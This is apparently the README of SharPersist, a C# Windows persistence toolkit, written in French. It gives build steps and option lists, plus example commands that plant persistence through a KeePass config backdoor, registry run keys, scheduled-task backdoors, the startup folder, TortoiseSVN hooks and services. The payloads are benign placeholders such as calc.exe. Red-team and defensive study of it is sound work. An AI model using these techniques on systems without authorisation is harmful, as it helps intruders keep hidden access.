SharPersist

Boîte à outils de persistance Windows écrite en C#. Pour des informations détaillées sur chaque technique, voir le Wiki.

Auteur - Brett Hawkins (@h4wkst3r)

Release

• La version publique 1.0.1 de SharPersist est disponible dans la section Releases

Installation/Compilation

Précompilé

• Utilisez le binaire précompilé de la section Releases

Compiler soi-même

Suivez les étapes ci-dessous pour configurer Visual Studio afin de compiler le projet vous-même. Cela nécessite quelques bibliothèques .NET qui peuvent être installées via le gestionnaire de packages NuGet.

Bibliothèques utilisées

Les bibliothèques tierces suivantes sont utilisées dans ce projet.

Étapes de compilation

• Chargez le projet Visual Studio et allez dans "Tools" --> "NuGet Package Manager" --> "Package Manager Settings"
• Allez dans "NuGet Package Manager" --> "Package Sources"
• Ajoutez une source de package avec l'URL "https://api.nuget.org/v3/index.json"
• Installez le package NuGet Costura.Fody. L'ancienne version de Costura.Fody (3.3.3) est nécessaire afin de ne pas avoir besoin de Visual Studio 2019.
  • Install-Package Costura.Fody -Version 3.3.3
• Installez le package TaskScheduler
  • Install-Package TaskScheduler -Version 2.8.11
• Vous pouvez maintenant compiler le projet vous-même !

Arguments/Options

• -t - technique de persistance
• -c - commande à exécuter
• -a - arguments de la commande à exécuter (le cas échéant)
• -f - le fichier à créer/modifier
• -k - clé de registre à créer/modifier
• -v - valeur de registre à créer/modifier
• -n - nom de la tâche planifiée ou du service
• -m - méthode (add, remove, check, list)
• -o - modules optionnels
• -h - page d'aide

Techniques de persistance (-t)

• keepass - backdoor du fichier de configuration keepass
• reg - ajout/modification de clé de registre
• schtaskbackdoor - backdoor de tâche planifiée en ajoutant une action supplémentaire
• startupfolder - fichier .lnk dans le dossier de démarrage
• tortoisesvn - script hook TortoiseSVN
• service - créer un nouveau service Windows
• schtask - créer une nouvelle tâche planifiée

Méthodes (-m)

• add - ajouter une technique de persistance
• remove - supprimer une technique de persistance
• check - effectuer un essai à blanc de la technique de persistance
• list - lister les entrées actuelles de la technique de persistance

Modules optionnels (-o)

• env - module optionnel pour l'obfuscation des variables d'environnement pour le registre
• hourly - module optionnel pour la fréquence des tâches planifiées
• daily - module optionnel pour la fréquence des tâches planifiées
• logon - module optionnel pour la fréquence des tâches planifiées

Clés de registre (-k)

• hklmrun
• hklmrunonce
• hklmrunonceex
• hkcurun
• hkcurunonce
• logonscript
• stickynotes
• userinit

Exemples

Ajout de déclencheurs de persistance (Add)

KeePass

SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add

Registre

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add

Backdoor de tâche planifiée

SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add

Dossier de démarrage

SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add

Tortoise SVN

SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m add

Service Windows

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add

Tâche planifiée

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add -o hourly

Suppression de déclencheurs de persistance (Remove)

KeePass

SharPersist -t keepass -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m remove

Registre

SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove

SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove -o env

SharPersist -t reg -k "logonscript" -m remove

Backdoor de tâche planifiée

SharPersist -t schtaskbackdoor -n "Something Cool" -m remove

Dossier de démarrage

SharPersist -t startupfolder -f "Some File" -m remove

Tortoise SVN

SharPersist -t tortoisesvn -m remove

Service Windows

SharPersist -t service -n "Some Service" -m remove

Tâche planifiée

SharPersist -t schtask -n "Some Task" -m remove

Effectuer un essai à blanc du déclencheur de persistance (Check)

KeePass

SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m check

Registre

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check -o env

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m check

Backdoor de tâche planifiée

SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m check

Dossier de démarrage

SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m check

Tortoise SVN

SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m check

Service Windows

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m check

Tâche planifiée

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check -o hourly

Lister les entrées du déclencheur de persistance (List)

Registre

SharPersist -t reg -k "hkcurun" -m list

Backdoor de tâche planifiée

SharPersist -t schtaskbackdoor -m list

SharPersist -t schtaskbackdoor -m list -n "Some Task"

SharPersist -t schtaskbackdoor -m list -o logon

Dossier de démarrage

SharPersist -t startupfolder -m list

Service Windows

SharPersist -t service -m list

SharPersist -t service -m list -n "Some Service"

Tâche planifiée

SharPersist -t schtask -m list

SharPersist -t schtask -m list -n "Some Task"

SharPersist -t schtask -m list -o logon